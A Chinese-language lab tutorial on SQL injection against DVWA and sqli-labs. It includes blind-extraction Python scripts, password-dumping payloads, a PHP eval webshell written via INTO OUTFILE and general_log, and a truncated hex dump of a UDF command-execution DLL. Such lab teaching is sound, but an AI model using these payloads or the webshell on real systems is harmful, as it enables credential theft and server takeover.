Bootstrap

渗透测试之SQL注入

渗透测试之SQL注入

1. SQL注入分类

按照攻击类型分为:联合查询注入、布尔注入、时间延迟注入、报错型注入、堆叠型注入等

按照注入位置分为:HTTP头注入、请求参数注入等

按照数据库场景分为:MySQL注入、MSSQL注入、Oracle场景注入

1. MySQL

MySQL的information schema是一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名、数据库表、表字段的数据类型与访问权限等.

information schema库有两个必须学习的表

​ tables表:提供了指定数据库中的所有表的信息

​ columns表:提供了指定数据库表中的所有列的信息

1.1 SQL注入之联合查询注入

SQL UNION(联合)是一个函数,用于合并两个或多个SELECT语句的结果集,UNION内部的SELECT语句必须拥有相同的列数、列必须拥有相似的数据类型。

SELECT column1 FROM table1 UNION SELECTcolumn2 FROM table2

DVWA演示:

  1. 安全等级设置为低。
image-20240614112703010
1.1. 确定是否存在注入

原sql语句:

SELECT first_name,last_name FROM users WHERE user_id='1';

在sql语句中,通常使用#、-- 来进行注释(url处,也可以用+来替代空格),在进行url传输时,#编码为23%

在url框输入1’23%或–+可以正常运行,说明存在sql注入漏洞

?id=1‘%23&Submit=Submit#

也可以通过闭合后面的’测试是否存在sql注入

1' and '1'='1 
1' and '1'='2 
1.2 通过order by 判断有select查询有几列
1' order by 1#
1' order by 2#
1' order by 3#       报错,因此有两列
1.3 如何使用联合查询
0' union select null,null #	
0' union select 1,2 #               查看是否支持数字查询
0' union select "a","b" #           查看是否支持字符串查询
0' union select user(),database() #      查询用户,数据库名称
0' union select null,concat_ws(":",user(),version(),database()) #    :表示拼接后用什么连接
0' union select null,concat_ws(":",user(),version(),database(),@@global.version_compile_os) #    @@global.version_compile_os表示查询系统的版本

dvwa报错Illegal mix of collations for operation 'UNION'
0' union select null,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

使用联合查询表,dvwa报错Illegal mix of collations for operation ‘UNION’

解决办法:

找到MySQL.php

image-20240614153900908

image-20240614155007231

COLLATE utf8_general_ci;

修改后重新生成数据库:

image-20240614155035571

image-20240614155123927

使用limit限制查询的条数:(前一个数字表示从第几个开始,后面的数字表示查几个)

0' union select null,table_name from information_schema.tables where table_schema='dvwa'limit 0,1#

查询用户表所有的列:

0' union select null,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

查询账号密码:

0' union select null,concat_ws(":",user,password) from users #

联合查询过程:

判断是否存在漏洞–》判断数据库类型–》爆出联合查询的列数–》查询数据库系统信息–》查询数据库表名–》查询数据库列名–》查询敏感数据信息

1.2 布尔型注入

布尔型注入:使用结合判断条件返回非真既假的一元组逻辑来判断攻击结果,一般为真时页面正常不变、为假时页面内容有所变化。和联合查询型注入区别:响应页面无报错回显(即报错注入是,通过返回值的不同,判断是否达到自己想要的目的)。

目的:知道自己想要得到的敏感信息。

过程:知道敏感信息所在的列、表名、数据库等信息。

1.2.1 布尔型注入相关的SQL函数
length():返回字符串的长度
substr(a,b,c):a为字符串、b为起始位置、c为长度,即从b位置开始,截取字符串a的c长度(从1开始)
ascii():返回字符的ASCII码()

ASCII表:https://www.runoob.com/w3cnote/ascii.html

image-20240615190243989

4857为0到9十个阿拉伯数字,6590为26个大写英文字母,97~122为26个小写英文字母,其余为标点符号、运算符号等。

输入不同的数字,返回不同的结果

image-20240615113209732

输入一个‘不存在,两个’,说明存在sql注入。

image-20240615113345808

  1. 然后,通过
1' and 1=1#
1' and 1=2#

判断存在sql注入

  1. 通过length(database())获取数据库的长度。
1' and length(database())>=4#
1' and length(database())>=5#

判断出数据库长度为4


import requests

url = 'http://localhost/DVWA-master/vulnerabilities/sqli_blind/'


# 要添加的头部信息
headers = {
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
    "Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
    "Connection": "close",
}

params = {
    'id': '1',
    'Submit':'Submit'
}

# 第一步:判断数据库名的长度
dataBaseLen = 1;
flag = True;
while(flag):
    params['id'] = "1' and length(database())>=" + str(dataBaseLen) +"#";
    # 发起GET请求
    response = requests.get(url, params=params, headers=headers)
    # print(response.text)
    if("User ID exists in the database." in response.text):
        dataBaseLen = dataBaseLen+1
    if("User ID is MISSING from the database." in response.text):
        flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);

接下来依次使用substr(database(),1,1)、substr(database(),1,2),穷举出每一位的数据库名字,可显示字符的ascii为32~126

1' and ascii(substr(database(),1,1))>=100-- 

获取数据库的名字

dataBase = "";
for i in range(dataBaseLen):
    for j in range(32,126):
        params['id'] = "1' and ascii(substr(database(),{},1))={}#".format(str(i+1),str(j));
        response = requests.get(url, params=params, headers=headers);
        if("User ID exists in the database." in response.text):
            dataBase += chr(j)
            break
print("数据库的名字是:"+dataBase)

接下来获取表的个数:

1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 1,1))>=1#
tableNum = 0;
flag = True
while(flag):
    params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>=1#".format(tableNum)
    response = requests.get(url, params=params, headers=headers)
    if ("User ID exists in the database." in response.text):
        tableNum = tableNum + 1
    if ("User ID is MISSING from the database." in response.text):
        flag = False
tableNum = tableNum
print("共有表:{}张".format(tableNum));

获取每张表的长度

tableLens = [];
for i in range(tableNum):
    flag = True
    tableLen = 1;
    while(flag):
        # 1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#
        params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#".format(str(i),str(tableLen));
        response = requests.get(url, params=params, headers=headers)
        if ("User ID exists in the database." in response.text):
            tableLen = tableLen + 1
        if ("User ID is MISSING from the database." in response.text):
            flag = False
    tableLen = tableLen - 1
    tableLens.append(tableLen)
    print("表的长度:", tableLen);
print(tableLens);

获取表名:

# 获取表名
tables = []
for k in range(len(tableLens)):
    table = ""
    for i in range(tableLens[k]):
        for j in range(32, 126):
            params[
                'id'] = "1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1),{},1))={}#".format(str(k),
                str(i + 1), str(j));
            response = requests.get(url, params=params, headers=headers);
            if ("User ID exists in the database." in response.text):
                table += chr(j)
                break
    tables.append(table);
    print("表的名字是:" + table)
print(tables);

到获取表名的全部代码:


import requests

url = 'http://localhost/DVWA-master/vulnerabilities/sqli_blind/'


# 要添加的头部信息
headers = {
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
    "Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
    "Connection": "close",
}

params = {
    'id': '1',
    'Submit':'Submit'
}

# 第一步:判断数据库名的长度
dataBaseLen = 1;
flag = True;
while(flag):
    params['id'] = "1' and length(database())>=" + str(dataBaseLen) +"#";
    # 发起GET请求
    response = requests.get(url, params=params, headers=headers)
    # print(response.text)
    if("User ID exists in the database." in response.text):
        dataBaseLen = dataBaseLen+1
    if("User ID is MISSING from the database." in response.text):
        flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);

dataBase = "";
for i in range(dataBaseLen):
    for j in range(32,126):
        params['id'] = "1' and ascii(substr(database(),{},1))={}#".format(str(i+1),str(j));
        response = requests.get(url, params=params, headers=headers);
        if("User ID exists in the database." in response.text):
            dataBase += chr(j)
            break
print("数据库的名字是:"+dataBase)

# 获取有几张表
tableNum = 0;
flag = True
while(flag):
    params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {},1))>=1#".format(dataBase,tableNum)
    response = requests.get(url, params=params, headers=headers)
    if ("User ID exists in the database." in response.text):
        tableNum = tableNum + 1
    if ("User ID is MISSING from the database." in response.text):
        flag = False
tableNum = tableNum
print("共有表:{}张".format(tableNum));

# 获取每张表的长度
tableLens = [];
for i in range(tableNum):
    flag = True
    tableLen = 1;
    while(flag):
        # 1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1))>={}#
        params['id'] = "1' and length((SELECT table_name FROM information_schema.tables WHERE table_schema='{}' LIMIT {},1))>={}#".format(dataBase,str(i),str(tableLen));
        response = requests.get(url, params=params, headers=headers)
        if ("User ID exists in the database." in response.text):
            tableLen = tableLen + 1
        if ("User ID is MISSING from the database." in response.text):
            flag = False
    tableLen = tableLen - 1
    tableLens.append(tableLen)
    print("表的长度:", tableLen);
print(tableLens);

# 获取表名
tables = []
for k in range(len(tableLens)):
    table = ""
    for i in range(tableLens[k]):
        for j in range(32, 126):
            params[
                'id'] = "1' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT {},1),{},1))={}#".format(str(k),
                str(i + 1), str(j));
            response = requests.get(url, params=params, headers=headers);
            if ("User ID exists in the database." in response.text):
                table += chr(j)
                break
    tables.append(table);
    print("表的名字是:" + table)
print(tables);

后面不想写代码了,有现成工具,sqlmap

步骤:猜解每一列的长度,然后猜解每一列的列名

猜解每一列的长度

1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1))>=8#

猜解每一列的列名:

1' and ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1),1,1))>=112#

下一个步骤:猜解每一列的敏感信息的长度,然后猜解出敏感信息

1' and length((select password from users limit 0,1))>=32#

猜解敏感信息

1' and ascii(substr((select password from users limit 0,1),1,1))>=53#

布尔注入的过程:

判断页面是否有回显–》判断是否存在漏洞–》判断数据库类型-》爆破库长度库名-》爆破表长度表名-》爆破列长度列名-》爆破数据长度内容

1.3 时间注入

靶场:sql-lib less-9

1.3.1 相关函数
sleep(n):将程序挂起n秒
if(a,b,c):a为判断条件,当a为真时返回b,否则返回c
payload
1' and sleep(5)%23

image-20240616122726792

获取数据库的长度:

1' and if(length(database())>=9,0,sleep(5))%23
import requests
import time


headers = {
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://192.168.0.102/DVWA-master/vulnerabilities/sqli_blind/",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh,en;q=0.9,zh-CN;q=0.8",
    "Cookie": "PHPSESSID=iuesvoohheefp8fol3fem37296; security=low",
    "Connection": "close",
}
params = {
    'id': "1",
}

def get_response_time(url,params, headers):
    start_time = time.time()  # 获取当前时间
    try:
        response = requests.get(url,params=params,headers=headers)  # 发送GET请求
        response.raise_for_status()  # 检查请求是否成功
    except requests.RequestException as e:
        print(f"请求错误:{e}")
        return None
    end_time = time.time()  # 获取请求结束的时间
    response_time = end_time - start_time  # 计算响应时间
    return response_time

url = "http://192.168.0.102/sqli-labs-master/Less-9/";
dataBaseLen = 1;
flag = True;
while(flag):
    # 1' and if(length(database())>=9,0,sleep(5))%23
    params['id'] = "1' and if(length(database())>={},0,sleep(5))#".format(str(dataBaseLen));
    # 发起GET请求
    response_time = get_response_time(url, params=params, headers=headers)
    # print(response.text)
    if(response_time<5):
        dataBaseLen = dataBaseLen+1
    if(response_time>5):
        flag = False
dataBaseLen = dataBaseLen -1
print("数据库的长度为:",dataBaseLen);

同布尔注入一样,只是判断条件发生改变,得到数据库名字之类的

1' and if(ascii(substr((select database()),1,1))=115,sleep(5),0)%23

获取表的长度

1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))>=5,0,sleep(5))%23

获取表的名字

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),0)%23

查询出列的长度

1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))>=8,0,sleep(5))%23

查询出列名

1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,1))=112,sleep(5),0)%23

查出敏感数据的长度

1' and if(length((select password from users limit 0,1))>=5,0,sleep(5))%23

查出敏感数据

1'and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),0)%23

1.4 报错注入

靶场环境:sqli-libs的Less-5

原始sql函数

SELECT * FROM users WHERE id='1' limit 0,1

相关函数:

floor():向下取整
rand():返回一个0~1之间的随机数
count():统计元组的个数

正常使用无任何查询数据返回,添加单引号有报错回显,则是报错注入场景

1'

image-20240616225451325

结合

1' and 1=1#
1' and 1=2#

确定是否存在sql注入

通过报错注入查询出数据库名:

1' and (select 1 from (select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)%23

这个sql语句报错

select count(*),concat(char(32,58,32),database(),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name   
select count(*),floor(rand()*2)name from information_schema.tables group by name 

原因:floor(rand()*2) 在插入虚拟表之前以及插入时各计算一次,导致本来应该插入0,结果插入1,与之前的key重复导致报错。

通过报错注入查询表名:

1' and (select 1 from (select count(*),concat(char(32,58,32),(select table_name from information_schema.tables where table_schema='security' limit 3,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#

通过报错注入查询列名:

1' and (select 1 from (select count(*),concat(char(32,58,32),(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#

通过报错注入查询数据:

1' and (select 1 from (select count(*),concat(char(32,58,32),(select concat_ws(char(32,58,32),id,username,password) from users limit 0,1),char(32,58,32),floor(rand()*2))name from information_schema.tables group by name)b)#

注入流程:

判断是否报错回显–》判断是否存在漏洞–》判断数据库类型–》查出库名–》查出列名–》查出数据内容

报错注入的根源是:构建虚拟表时主键插入的冲突(重复的主键插入)导致的报错。

1.5堆叠注入

堆叠注入产生的原因 如php中 mysqli_multi_query()函数:执行一个或多个sql语句,多个sql语句用分号进行隔开。

靶场环境:sqli-libs 38

首先查看源数据:

SELECT * FROM users

image-20240617223742145

使用堆叠注入,将username的password修改为123456

1'; update users set password='123456' where username='Dumb'%23

image-20240617224055952

1.6 二次注入

靶场环境:sqli-labs Less-24

原理:第一次注入的恶意内容没有过滤就存储到数据库中,后续对该数据进行查询时就会触发SQL注入

第一次注入:

$username = mysql_escape_string($_POST['username']);
$sql = "insert into users(username,password) values(\"$username\",\"$pass\")"
mysql_escape_string 是 PHP 中用于数据库操作的一个函数,它的作用是转义一个字符串,用于 MySQL 数据库查询。

例子:
$string = "It's never going to work!";$escaped_string = mysql_escape_string($string);
在上面的代码中,$escaped_string 的值将会是 "It\'s never going to work!",这样在插入数据库时就不会出现问题。(如果我们有一个包含单引号的字符串 'It\'s never going to work!',当这个转义后的字符串被插入到数据库中时,单引号前的反斜杠 \ 会告诉 MySQL 数据库这是一个字符,而不是字符串结束的标志。因此,数据库中存储的值将是 'It's never going to work!',而不会包含转义字符 \。)

第二次读取:

$username=$_SESSION["username"];
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";

第一次注入:

admin\'#

第二次读取

$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'";

这样既可以在第一次注入的时候,注入想要修改用户的用户名,在修改密码时,即可将该用户的密码修改为我们想要的密码。

注册admin,提醒admin已经注册。

image-20240618112352970

注册admin’#

image-20240618112449187

在此页面,即可将admin的密码修改为我们需要的密码。

image-20240618112641645

修改为123456

使用admin 123456可成功登录

image-20240618112903618

image-20240618113047711

1.7 通过数据库将webshell写入服务器

前提条件:MySQL secure_file_priv配置为空、当前数据库为用户管理员权限、知道Web目录的绝对路径

靶场环境:sqli-labs less7

1.7.1 secure_file_priv配置项说明

secure_file_priv配置项直接影响在服务器导入导出文件相关操作,当为空时,对导入导出无限制,当为一个指定目录时,只能向指定的目录导入导出,当被设置为NULL时,禁止导入导出功能。select … into outfile、LOAD_FILE()、LOAD DATA等函数/语句均受到该配置项的影响。

查询users表中的数据写入到users.txt

select * from users into outfile "D:\**\**\**\**users.txt"

通过 select @@secure_file_priv查询secure_file_priv当前的值

select @@secure_file_priv

image-20240618192352827

为null,需要通过phpStudy中mysql中的my.ini中添加‘secure_file_priv=’,然后重启MySQL即可

目录为

D:\ProgramFiles\phpstudy_pro\Extensions\MySQL5.7.26

image-20240618193312567

image-20240618193259724

select * FROM users into OUTFILE "D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/user.txt" 

即可导出user.txt

image-20240618195935196

SQL漏洞探测

1')) and 1=1%23
1')) and 1=2%23

判断当前数据库用户是否有管理员权限

1')) and (select count(*) from mysql.user)>0%23

将一句话木马写入本地

1')) union select null,null,"<?php @eval($_GET['a']);?>" into outfile "D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"%23

1.8 利用MySQL general_log日志写人webshell

  1. MySQL的general_log会将所有到达MuSQL服务器的SQL语句都记录到指定的日志文件中
  2. general_log:说明配置是否开启 general_log_file:指定日志文件路径

原理:在堆叠注入场景或拥有MySQL终端权限或类似phpMyAdmin等数据库管理工具权限时,可以直接开启general_log并指定日志位置为Web目录的脚本文件,再select WebShell内容,从而实现写WebShell

前提条件:MySQL用户具有管理员权限、拥有MySQL终端权限、知道Web目录的绝对路径

靶场环境:phpMyAdmin4.8.5后台

安装phpMyAdmin4.8.5

image-20240618215719865

弱口令:root 123456

image-20240618220408521

运行sql语句

show variables like '%general%'

image-20240618220616471

开启日志

set GLOBAL general_log=on

设置日志目录为shell地址:set global general_log_file=‘D:/ProgramFiles/phpstudy_pro/WWW/sqli-labs-master/Less-7/2.php’;

select "<?php @eval($_GET['a']);?>"

image-20240618222055672

1.9 MySQL UDF提权

前提:获取MySQL管理员账号密码后

1.9.1 UDF的几个关键函数
  1. sys_eval():执行任意命令,并将输出返回
  2. sys_exec():执行任意命令,并将返回码返回
  3. sys_get():获取一个环境变量
  4. sys_set():创建或修改一个环境变量
1.9.2 前提准备
  1. 在sqlmap中查找到lib_mysqludf_sys.so (linux为so文件)

image-20240619080723107

  1. 找到cloak.py文件image-20240619080922933

  2. 使用cloak.py对mysqludf_sys.so_进行解码

linux:

python cloak.py -d -i ../../***/**/**/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windows:

python cloak.py -d -i ../../***/**/**/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
  1. 使用dumpfile进行导出

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容。基本语法为:select[列名]from table [where语句] into dumpfile’目标文件’。

两者的区别:1. outfile可导出多行数据,而dumpfile只导出一行。2. outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。

查询到plugin_dir目录:

show VARIABLES LIKE '%PLUGIN%'

image-20240619200906068

新建lib\plugin两个目录。

image-20240619202953057

查看UDF文件的Hex值,linux下使用hexdump命令获取,win下使用WinHex获取,然后将里面的二进制文件写入到指定文件中。

select unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D472643